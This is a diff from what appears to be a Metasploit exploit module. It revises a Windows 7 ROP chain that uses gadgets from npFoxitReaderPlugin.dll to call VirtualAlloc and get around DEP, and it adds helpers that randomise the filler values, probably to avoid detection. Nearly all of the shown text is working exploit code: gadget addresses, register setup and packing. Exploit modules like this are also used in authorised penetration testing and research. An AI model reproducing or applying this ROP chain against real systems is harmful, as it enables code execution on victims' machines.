@@ -92,37 +92,45 @@ def get_target(agent)
92
92
return nil
93
93
end
94
94
95
+ def junk
96
+ return rand_text_alpha ( 4 ) . unpack ( "L" ) [ 0 ] . to_i
97
+ end
98
+
99
+ def nops
100
+ make_nops ( 4 ) . unpack ( "N*" )
101
+ end
102
+
95
103
# Uses rop chain from npFoxitReaderPlugin.dll (foxit) (no ASLR module)
96
104
def win7_rop_chain
97
105
98
106
# rop chain generated with mona.py - www.corelan.be
99
107
rop_gadgets =
100
108
[
101
- 0x1000ce1a , # POP EAX # RETN [npFoxitReaderPlugin.dll]
102
- 0x100361a8 , # ptr to &VirtualAlloc() [IAT npFoxitReaderPlugin.dll]
103
- 0x1000f055 , # MOV EAX,DWORD PTR DS:[EAX] # RETN [npFoxitReaderPlugin.dll]
104
- 0x10021081 , # PUSH EAX # POP ESI # RETN 0x04 [npFoxitReaderPlugin.dll]
105
- 0x10007971 , # POP EBP # RETN [npFoxitReaderPlugin.dll]
106
- 0x41414141 , # Filler (RETN offset compensation)
107
- 0x1000614c , # & push esp # ret [npFoxitReaderPlugin.dll]
108
- 0x100073fa , # POP EBX # RETN [npFoxitReaderPlugin.dll]
109
- 0x00001000 , # 0x00001000-> edx
109
+ 0x1000ce1a , # POP EAX # RETN [npFoxitReaderPlugin.dll]
110
+ 0x100361a8 , # ptr to &VirtualAlloc() [IAT npFoxitReaderPlugin.dll]
111
+ 0x1000f055 , # MOV EAX,DWORD PTR DS:[EAX] # RETN [npFoxitReaderPlugin.dll]
112
+ 0x10021081 , # PUSH EAX # POP ESI # RETN 0x04 [npFoxitReaderPlugin.dll]
113
+ 0x10007971 , # POP EBP # RETN [npFoxitReaderPlugin.dll]
114
+ 0x41414141 , # Filler (RETN offset compensation)
115
+ 0x1000614c , # & push esp # ret [npFoxitReaderPlugin.dll]
116
+ 0x100073fa , # POP EBX # RETN [npFoxitReaderPlugin.dll]
117
+ 0x00001000 , # 0x00001000-> edx
110
118
0x1000d9ec , # XOR EDX, EDX # RETN
111
- 0x1000d9be , # ADD EDX,EBX # POP EBX # RETN 0x10 [npFoxitReaderPlugin.dll]
112
- 0x41414141 , # Filler (compensate)
113
- 0x100074a7 , # POP ECX # RETN [npFoxitReaderPlugin.dll]
114
- 0x41414141 , # Filler (RETN offset compensation)
115
- 0x41414141 , # Filler (RETN offset compensation)
116
- 0x41414141 , # Filler (RETN offset compensation)
117
- 0x41414141 , # Filler (RETN offset compensation)
118
- 0x00000040 , # 0x00000040-> ecx
119
- 0x1000e4ab , # POP EBX # RETN [npFoxitReaderPlugin.dll]
120
- 0x00000001 , # 0x00000001-> ebx
121
- 0x1000dc86 , # POP EDI # RETN [npFoxitReaderPlugin.dll]
122
- 0x1000eb81 , # RETN (ROP NOP) [npFoxitReaderPlugin.dll]
123
- 0x1000c57d , # POP EAX # RETN [npFoxitReaderPlugin.dll]
124
- 0x90909090 , # nop
125
- 0x10005638 , # PUSHAD # RETN [npFoxitReaderPlugin.dll]
119
+ 0x1000d9be , # ADD EDX,EBX # POP EBX # RETN 0x10 [npFoxitReaderPlugin.dll]
120
+ junk ,
121
+ 0x100074a7 , # POP ECX # RETN [npFoxitReaderPlugin.dll]
122
+ junk ,
123
+ junk ,
124
+ junk ,
125
+ 0x41414141 , # Filler (RETN offset compensation)
126
+ 0x00000040 , # 0x00000040-> ecx
127
+ 0x1000e4ab , # POP EBX # RETN [npFoxitReaderPlugin.dll]
128
+ 0x00000001 , # 0x00000001-> ebx
129
+ 0x1000dc86 , # POP EDI # RETN [npFoxitReaderPlugin.dll]
130
+ 0x1000eb81 , # RETN (ROP NOP) [npFoxitReaderPlugin.dll]
131
+ 0x1000c57d , # POP EAX # RETN [npFoxitReaderPlugin.dll]
132
+ nops ,
133
+ 0x10005638 , # PUSHAD # RETN [npFoxitReaderPlugin.dll]
126
134
] . flatten . pack ( "V*" )
127
135
128
136
return rop_gadgets
0 commit comments